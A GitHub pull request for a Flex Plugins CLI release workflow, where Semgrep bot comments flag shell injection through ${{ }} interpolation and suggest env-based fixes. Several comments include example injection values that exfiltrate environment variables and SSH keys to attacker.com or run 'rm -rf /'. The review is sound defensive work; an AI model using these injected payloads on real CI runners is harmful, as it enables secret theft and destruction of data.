Skip to content

FLEXY-6381 fix pipeline for publish - #1163

Open
shwet2407 wants to merge 36 commits into
mainfrom
lockdown-migration
Open

FLEXY-6381 fix pipeline for publish#1163
shwet2407 wants to merge 36 commits into
mainfrom
lockdown-migration

Conversation

@shwet2407

Copy link
Copy Markdown
Collaborator

Contributing to Twilio

All third-party contributors acknowledge that any contributions they provide will be made under the same open-source license that the open-source project is provided under.

  • I acknowledge that all my contributions will be made under the project's license.

@shwet2407 shwet2407 added the run-e2e Trigger the mandatory E2E tests for Pull request label Jul 8, 2026
@shwet2407 shwet2407 removed the run-e2e Trigger the mandatory E2E tests for Pull request label Jul 8, 2026
Comment on lines +54 to +77
run: |
STATUS_COLOR="good"
if [ "${{ job.status }}" = "failure" ]; then
STATUS_COLOR="danger"
elif [ "${{ job.status }}" = "cancelled" ]; then
STATUS_COLOR="warning"
fi

curl -X POST "${{ secrets.SLACK_WEB_HOOK }}" \
-H 'Content-Type: application/json' \
-d "{
\"username\": \"Github Actions\",
\"icon_emoji\": \":ship:\",
\"attachments\": [{
\"color\": \"${STATUS_COLOR}\",
\"title\": \"Flex Plugins CLI\",
\"text\": \"🎉 Released a new version with *tag* \\\`${{ inputs.TAG }}\\\` and *version* \\\`${{ inputs.VERSION }}\\\`\",
\"actions\": [{
\"type\": \"button\",
\"text\": \"View Action\",
\"url\": \"${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}\"
}]
}]
}"

@semgrep-code-twilio semgrep-code-twilio Bot Jul 8, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Using variable interpolation ${{...}} with github context data in a run: step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. github context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with env: to store the data and use the environment variable in the run: script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".

🚀 Removed in commit 57374c0 🚀

Comment on lines +192 to +215
run: |
STATUS_COLOR="good"
if [ "${{ needs.node.result }}" = "failure" ]; then
STATUS_COLOR="danger"
elif [ "${{ needs.node.result }}" = "cancelled" ]; then
STATUS_COLOR="warning"
fi

curl -X POST "${{ secrets.SLACK_WEB_HOOK }}" \
-H 'Content-Type: application/json' \
-d "{
\"username\": \"Github Actions\",
\"icon_emoji\": \":ship:\",
\"attachments\": [{
\"color\": \"${STATUS_COLOR}\",
\"title\": \"${{ inputs.SLACK_TITLE }} - ${{ inputs.OS }} - ${{ inputs.NODE_VERSION }}\",
\"text\": \"${{ github.repository }}/${{ github.ref }} - ${{ inputs.SLACK_MESSAGE }} ${{ needs.node.result }} for ${{ inputs.OS }}.\",
\"actions\": [{
\"type\": \"button\",
\"text\": \"View Action\",
\"url\": \"${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}\"
}]
}]
}"

@semgrep-code-twilio semgrep-code-twilio Bot Jul 8, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Using variable interpolation ${{...}} with github context data in a run: step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. github context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with env: to store the data and use the environment variable in the run: script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".

🎉 Removed in commit a4a0dc4 🎉

@shwet2407 shwet2407 added the run-e2e Trigger the mandatory E2E tests for Pull request label Jul 8, 2026
@shwet2407 shwet2407 added run-e2e Trigger the mandatory E2E tests for Pull request and removed run-e2e Trigger the mandatory E2E tests for Pull request labels Jul 8, 2026
@shwet2407 shwet2407 added run-e2e Trigger the mandatory E2E tests for Pull request and removed run-e2e Trigger the mandatory E2E tests for Pull request labels Jul 8, 2026
@shwet2407 shwet2407 added run-e2e Trigger the mandatory E2E tests for Pull request and removed run-e2e Trigger the mandatory E2E tests for Pull request labels Jul 8, 2026
@shwet2407 shwet2407 added run-e2e Trigger the mandatory E2E tests for Pull request and removed run-e2e Trigger the mandatory E2E tests for Pull request labels Jul 8, 2026
@shwet2407 shwet2407 added run-e2e Trigger the mandatory E2E tests for Pull request and removed run-e2e Trigger the mandatory E2E tests for Pull request labels Jul 8, 2026
@shwet2407 shwet2407 removed the run-e2e Trigger the mandatory E2E tests for Pull request label Jul 8, 2026
Comment on lines +122 to +152
run: |
STATUS_COLOR="good"
if [ "${{ job.status }}" = "failure" ]; then
STATUS_COLOR="danger"
elif [ "${{ job.status }}" = "cancelled" ]; then
STATUS_COLOR="warning"
fi

# Determine message based on release type
if [ "${{ inputs.TAG }}" = "public" ]; then
MESSAGE="🎉:tada: Released a new public *version* \\\`${{ steps.publicVersion.outputs.version }}\\\`"
else
MESSAGE="🎉 Released a new version with *tag* \\\`${{ inputs.TAG }}\\\` and *version* \\\`${{ inputs.VERSION }}\\\`"
fi

curl -X POST "${{ secrets.SLACK_WEB_HOOK }}" \
-H 'Content-Type: application/json' \
-d "{
\"username\": \"Github Actions\",
\"icon_emoji\": \":ship:\",
\"attachments\": [{
\"color\": \"${STATUS_COLOR}\",
\"title\": \"Flex Plugins CLI\",
\"text\": \"${MESSAGE}\",
\"actions\": [{
\"type\": \"button\",
\"text\": \"View Action\",
\"url\": \"${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}\"
}]
}]
}"

@semgrep-code-twilio semgrep-code-twilio Bot Jul 24, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Using variable interpolation ${{...}} with github context data in a run: step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. github context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with env: to store the data and use the environment variable in the run: script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".

🧼 Fixed in commit ed8c2c4 🧼

Comment on lines +102 to +107
run: |
if [ "${{ inputs.TAG }}" = "public" ]; then
git config user.name github-actions
git config user.email noreply@github.com
fi
npm run publish:${{ inputs.TAG }} ${{ inputs.VERSION }}

@semgrep-code-twilio semgrep-code-twilio Bot Jul 24, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Using variable interpolation ${{...}} with github context data in a run: step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. github context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with env: to store the data and use the environment variable in the run: script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".

🍰 Removed in commit a4a0dc4 🍰

Comment on lines +109 to +140
run: |
STATUS_COLOR="good"
if [ "${{ job.status }}" = "failure" ]; then
STATUS_COLOR="danger"
elif [ "${{ job.status }}" = "cancelled" ]; then
STATUS_COLOR="warning"
fi

# Determine message based on release type
if [ "${{ inputs.TAG }}" = "public" ]; then
MESSAGE="🎉:tada: Released a new public *version* \\\`${{ steps.publicVersion.outputs.version }}\\\`"
else
MESSAGE="🎉 Released a new version with *tag* \\\`${{ inputs.TAG }}\\\` and *version* \\\`${{ inputs.VERSION }}\\\`"
fi

curl -X POST "${{ secrets.SLACK_WEB_HOOK }}" \
-H 'Content-Type: application/json' \
-d "{
\"username\": \"Github Actions\",
\"icon_emoji\": \":ship:\",
\"attachments\": [{
\"color\": \"${STATUS_COLOR}\",
\"title\": \"Flex Plugins CLI\",
\"text\": \"${MESSAGE}\",
\"actions\": [{
\"type\": \"button\",
\"text\": \"View Action\",
\"url\": \"${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}\"
}]
}]
}"

@semgrep-code-twilio semgrep-code-twilio Bot Jul 24, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Using variable interpolation ${{...}} with github context data in a run: step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. github context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with env: to store the data and use the environment variable in the run: script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".

Removed in commit a4a0dc4

Comment on lines +194 to +217
run: |
STATUS_COLOR="good"
if [ "${{ needs.node.result }}" = "failure" ]; then
STATUS_COLOR="danger"
elif [ "${{ needs.node.result }}" = "cancelled" ]; then
STATUS_COLOR="warning"
fi

curl -X POST "${{ secrets.SLACK_WEB_HOOK }}" \
-H 'Content-Type: application/json' \
-d "{
\"username\": \"Github Actions\",
\"icon_emoji\": \":ship:\",
\"attachments\": [{
\"color\": \"${STATUS_COLOR}\",
\"title\": \"${{ inputs.SLACK_TITLE }} - ${{ inputs.OS }} - ${{ inputs.NODE_VERSION }}\",
\"text\": \"${{ github.repository }}/${{ github.ref }} - ${{ inputs.SLACK_MESSAGE }} ${{ needs.node.result }} for ${{ inputs.OS }}.\",
\"actions\": [{
\"type\": \"button\",
\"text\": \"View Action\",
\"url\": \"${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}\"
}]
}]
}"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

User-controlled workflow inputs are directly interpolated into a shell command via ${{ inputs.* }} and ${{ github.* }} variables, allowing attackers to inject shell commands and steal secrets.

More details about this

The run: step is passing user-controlled input directly into a shell script through GitHub context variables without sanitization. Specifically, ${{ inputs.SLACK_TITLE }}, ${{ inputs.OS }}, ${{ inputs.NODE_VERSION }}, ${{ inputs.SLACK_MESSAGE }}, ${{ github.ref }}, and ${{ github.repository }} are all interpolated directly into the JSON payload sent to the Slack webhook.

An attacker can exploit this by providing malicious input through workflow inputs or by crafting commits with special characters in repository names or branch refs. For example:

  1. An attacker could submit a workflow dispatch with SLACK_TITLE set to: "; curl attacker.com/steal?secrets=$(env | base64); echo "
  2. When the shell executes the curl command with this payload, the injected command runs in the runner environment
  3. The attacker's server receives all environment variables including secrets.SLACK_WEB_HOOK and any other secrets configured in the workflow
  4. With these credentials, the attacker can impersonate the workflow to post messages to Slack, access private repositories, or pivot to other attacks

The vulnerability exists because the variables are expanded by the shell before being passed to curl, allowing arbitrary command injection through shell metacharacters like backticks, $(), or semicolons.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
run: |
STATUS_COLOR="good"
if [ "${{ needs.node.result }}" = "failure" ]; then
STATUS_COLOR="danger"
elif [ "${{ needs.node.result }}" = "cancelled" ]; then
STATUS_COLOR="warning"
fi
curl -X POST "${{ secrets.SLACK_WEB_HOOK }}" \
-H 'Content-Type: application/json' \
-d "{
\"username\": \"Github Actions\",
\"icon_emoji\": \":ship:\",
\"attachments\": [{
\"color\": \"${STATUS_COLOR}\",
\"title\": \"${{ inputs.SLACK_TITLE }} - ${{ inputs.OS }} - ${{ inputs.NODE_VERSION }}\",
\"text\": \"${{ github.repository }}/${{ github.ref }} - ${{ inputs.SLACK_MESSAGE }} ${{ needs.node.result }} for ${{ inputs.OS }}.\",
\"actions\": [{
\"type\": \"button\",
\"text\": \"View Action\",
\"url\": \"${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}\"
}]
}]
}"
env:
NODE_RESULT: ${{ needs.node.result }}
SLACK_TITLE: ${{ inputs.SLACK_TITLE }}
OS_NAME: ${{ inputs.OS }}
NODE_VERSION: ${{ inputs.NODE_VERSION }}
SLACK_MESSAGE: ${{ inputs.SLACK_MESSAGE }}
REPOSITORY: ${{ github.repository }}
REF: ${{ github.ref }}
SERVER_URL: ${{ github.server_url }}
RUN_ID: ${{ github.run_id }}
SLACK_WEBHOOK: ${{ secrets.SLACK_WEB_HOOK }}
run: |
STATUS_COLOR="good"
if [ "$NODE_RESULT" = "failure" ]; then
STATUS_COLOR="danger"
elif [ "$NODE_RESULT" = "cancelled" ]; then
STATUS_COLOR="warning"
fi
curl -X POST "$SLACK_WEBHOOK" \
-H 'Content-Type: application/json' \
-d "{
\"username\": \"Github Actions\",
\"icon_emoji\": \":ship:\",
\"attachments\": [{
\"color\": \"${STATUS_COLOR}\",
\"title\": \"$SLACK_TITLE - $OS_NAME - $NODE_VERSION\",
\"text\": \"$REPOSITORY/$REF - $SLACK_MESSAGE $NODE_RESULT for $OS_NAME.\",
\"actions\": [{
\"type\": \"button\",
\"text\": \"View Action\",
\"url\": \"$SERVER_URL/$REPOSITORY/actions/runs/$RUN_ID\"
}]
}]
}"
View step-by-step instructions
  1. Add an env: block to the Slack Notification step and move every ${{ ... }} value that is currently used inside run: into named environment variables, for example NODE_RESULT, SLACK_TITLE, OS_NAME, NODE_VERSION, SLACK_MESSAGE, REPOSITORY, REF, SERVER_URL, RUN_ID, and SLACK_WEBHOOK.

  2. Replace the GitHub expression interpolation inside the shell script with shell environment variable reads, and always wrap them in double quotes. For example, change checks like ${{ needs.node.result }} to "$NODE_RESULT".

  3. Update the status logic to use the environment variable instead of direct interpolation, for example compare "$NODE_RESULT" to failure and cancelled.

  4. Rewrite the curl command so the webhook URL comes from the environment variable, for example use curl -X POST "$SLACK_WEBHOOK" ....

  5. Replace every interpolated value in the JSON payload with the matching shell variable, for example:

    • use "$SLACK_TITLE", "$OS_NAME", and "$NODE_VERSION" for the title
    • use "$REPOSITORY", "$REF", "$SLACK_MESSAGE", "$NODE_RESULT", and "$OS_NAME" for the text
    • use "$SERVER_URL/$REPOSITORY/actions/runs/$RUN_ID" for the action URL
  6. Keep GitHub expressions out of run: entirely after this change. This prevents untrusted workflow input from being parsed directly by the shell and reduces command injection risk.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.

Need help with this issue? Consult our appsec team or ask in #help-appsec on Slack.

You can view more details about this finding in the Semgrep AppSec Platform.

Comment on lines +109 to +140
run: |
STATUS_COLOR="good"
if [ "${{ job.status }}" = "failure" ]; then
STATUS_COLOR="danger"
elif [ "${{ job.status }}" = "cancelled" ]; then
STATUS_COLOR="warning"
fi

# Determine message based on release type
if [ "${{ inputs.TAG }}" = "public" ]; then
MESSAGE="🎉:tada: Released a new public *version* \\\`${{ steps.publicVersion.outputs.version }}\\\`"
else
MESSAGE="🎉 Released a new version with *tag* \\\`${{ inputs.TAG }}\\\` and *version* \\\`${{ inputs.VERSION }}\\\`"
fi

curl -X POST "${{ secrets.SLACK_WEB_HOOK }}" \
-H 'Content-Type: application/json' \
-d "{
\"username\": \"Github Actions\",
\"icon_emoji\": \":ship:\",
\"attachments\": [{
\"color\": \"${STATUS_COLOR}\",
\"title\": \"Flex Plugins CLI\",
\"text\": \"${MESSAGE}\",
\"actions\": [{
\"type\": \"button\",
\"text\": \"View Action\",
\"url\": \"${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}\"
}]
}]
}"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

Unsanitized workflow inputs ${{ inputs.TAG }} and ${{ inputs.VERSION }} are injected directly into shell commands, allowing attackers to execute arbitrary code and steal secrets from the GitHub Actions runner.

More details about this

The run: step directly injects user-controlled GitHub Actions context variables like ${{ inputs.TAG }} and ${{ inputs.VERSION }} into shell commands without sanitization.

An attacker can exploit this by setting malicious input when triggering the workflow. For example, if an attacker provides TAG = "public'; curl http://attacker.com?secrets=$(env | base64) #", the following code would execute:

if [ "${{ inputs.TAG }}" = "public" ]; then

This expands to:

if [ "public'; curl http://attacker.com?secrets=$(env | base64) #" = "public" ]; then

The shell parses this as:

  1. [ "public'..." - starts a test command
  2. curl http://attacker.com?secrets=$(env | base64) - executes attacker's command
  3. # - comments out the rest

This allows the attacker to:

  1. Exfiltrate all environment variables (including secrets.SLACK_WEB_HOOK and secrets.G_TOKEN) to their server
  2. Modify repository code via git commands
  3. Extract sensitive data like GitHub tokens from the runner

The vulnerable lines are where ${{ inputs.TAG }} and ${{ inputs.VERSION }} are used directly in conditional statements and shell variable assignments without proper escaping.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
run: |
STATUS_COLOR="good"
if [ "${{ job.status }}" = "failure" ]; then
STATUS_COLOR="danger"
elif [ "${{ job.status }}" = "cancelled" ]; then
STATUS_COLOR="warning"
fi
# Determine message based on release type
if [ "${{ inputs.TAG }}" = "public" ]; then
MESSAGE="🎉:tada: Released a new public *version* \\\`${{ steps.publicVersion.outputs.version }}\\\`"
else
MESSAGE="🎉 Released a new version with *tag* \\\`${{ inputs.TAG }}\\\` and *version* \\\`${{ inputs.VERSION }}\\\`"
fi
curl -X POST "${{ secrets.SLACK_WEB_HOOK }}" \
-H 'Content-Type: application/json' \
-d "{
\"username\": \"Github Actions\",
\"icon_emoji\": \":ship:\",
\"attachments\": [{
\"color\": \"${STATUS_COLOR}\",
\"title\": \"Flex Plugins CLI\",
\"text\": \"${MESSAGE}\",
\"actions\": [{
\"type\": \"button\",
\"text\": \"View Action\",
\"url\": \"${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}\"
}]
}]
}"
run: |
STATUS_COLOR="good"
if [ "$JOB_STATUS" = "failure" ]; then
STATUS_COLOR="danger"
elif [ "$JOB_STATUS" = "cancelled" ]; then
STATUS_COLOR="warning"
fi
ACTION_URL="$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID"
# Determine message based on release type
if [ "$INPUT_TAG" = "public" ]; then
MESSAGE="🎉:tada: Released a new public *version* \\\`$PUBLIC_VERSION\\\`"
else
MESSAGE="🎉 Released a new version with *tag* \\\`$INPUT_TAG\\\` and *version* \\\`$INPUT_VERSION\\\`"
fi
curl -X POST "$SLACK_WEB_HOOK" \
-H 'Content-Type: application/json' \
-d "{
\"username\": \"Github Actions\",
\"icon_emoji\": \":ship:\",
\"attachments\": [{
\"color\": \"${STATUS_COLOR}\",
\"title\": \"Flex Plugins CLI\",
\"text\": \"${MESSAGE}\",
\"actions\": [{
\"type\": \"button\",
\"text\": \"View Action\",
\"url\": \"${ACTION_URL}\"
}]
}]
}"
env:
JOB_STATUS: ${{ job.status }}
INPUT_TAG: ${{ inputs.TAG }}
INPUT_VERSION: ${{ inputs.VERSION }}
PUBLIC_VERSION: ${{ steps.publicVersion.outputs.version }}
GITHUB_SERVER_URL: ${{ github.server_url }}
GITHUB_REPOSITORY: ${{ github.repository }}
GITHUB_RUN_ID: ${{ github.run_id }}
SLACK_WEB_HOOK: ${{ secrets.SLACK_WEB_HOOK }}
View step-by-step instructions
  1. Move every ${{ ... }} value out of the run: script and into the step’s env: block, including job.status, inputs.TAG, inputs.VERSION, steps.publicVersion.outputs.version, github.server_url, github.repository, and github.run_id.
  2. Replace each inline GitHub expression in the shell script with the matching environment variable, and always wrap it in double quotes, for example use "$JOB_STATUS", "$INPUT_TAG", and "$PUBLIC_VERSION" in the if statements and message assignment.
  3. Build the Slack action URL from environment variables inside the script instead of embedding GitHub expressions in the JSON body, for example set ACTION_URL="$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID" and then use "$ACTION_URL" in the payload.
  4. Keep the secret reference outside this change unless needed, but leave it as a step input or env value rather than mixing additional ${{ ... }} expressions into the shell body.
  5. Update the message logic to use only shell variables, for example compare "$INPUT_TAG" to public and construct MESSAGE from "$PUBLIC_VERSION" or "$INPUT_VERSION" as needed. This prevents GitHub from splicing untrusted text directly into the shell before it runs.
💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.

Need help with this issue? Consult our appsec team or ask in #help-appsec on Slack.

You can view more details about this finding in the Semgrep AppSec Platform.

Comment on lines +87 to +92
run: |
if [ "${{ inputs.TAG }}" = "public" ]; then
git config user.name github-actions
git config user.email noreply@github.com
fi
npm run publish:${{ inputs.TAG }} ${{ inputs.VERSION }}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

Workflow inputs inputs.TAG and inputs.VERSION are directly interpolated into shell commands in the run: step, allowing command injection attacks via malicious input values.

More details about this

The run: step directly interpolates ${{ inputs.TAG }} and ${{ inputs.VERSION }} into shell commands. Since these are workflow inputs, an attacker could provide malicious values that execute arbitrary code on the runner.

For example, an attacker could trigger this workflow with:

  • inputs.TAG = "public; rm -rf / #"
  • inputs.VERSION = "$(curl http://attacker.com/steal?secrets=$(cat ~/.ssh/id_rsa))"

When the step executes npm run publish:${{ inputs.TAG }} ${{ inputs.VERSION }}, these values get directly injected into the shell command:

npm run publish:public; rm -rf / # 1.0.0
npm run publish:public $(curl http://attacker.com/steal?secrets=...) 

This allows command injection to execute arbitrary code, potentially stealing secrets like SLACK_WEB_HOOK or exfiltrating repository code and SSH keys stored on the runner.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
run: |
if [ "${{ inputs.TAG }}" = "public" ]; then
git config user.name github-actions
git config user.email noreply@github.com
fi
npm run publish:${{ inputs.TAG }} ${{ inputs.VERSION }}
run: |
if [ "$TAG" = "public" ]; then
git config user.name github-actions
git config user.email noreply@github.com
fi
case "$TAG" in
public|beta|next)
npm run "publish:$TAG" "$VERSION"
;;
*)
exit 1
;;
esac
env:
TAG: ${{ inputs.TAG }}
VERSION: ${{ inputs.VERSION }}
View step-by-step instructions
  1. Move the GitHub input expressions out of the run: script and into the step env: block, for example TAG: ${{ inputs.TAG }} and VERSION: ${{ inputs.VERSION }}.

  2. Update the shell script to read those values from environment variables instead of ${{ ... }} expressions.
    Use quoted variables in the script, for example if [ "$TAG" = "public" ]; then ... fi.

  3. Avoid inserting the tag directly into a shell command until you restrict it to known values.
    Replace npm run publish:${{ inputs.TAG }} ${{ inputs.VERSION }} with a small allowlist such as case "$TAG" in public|beta|next) npm run "publish:$TAG" "$VERSION" ;; *) exit 1 ;; esac.

  4. Quote the version argument when passing it to the command, for example "$VERSION", so shell metacharacters in input are treated as data instead of code.

  5. Keep the existing static values as-is for the git config commands, since git config user.name github-actions and git config user.email noreply@github.com do not need interpolation.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.

Need help with this issue? Consult our appsec team or ask in #help-appsec on Slack.

You can view more details about this finding in the Semgrep AppSec Platform.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant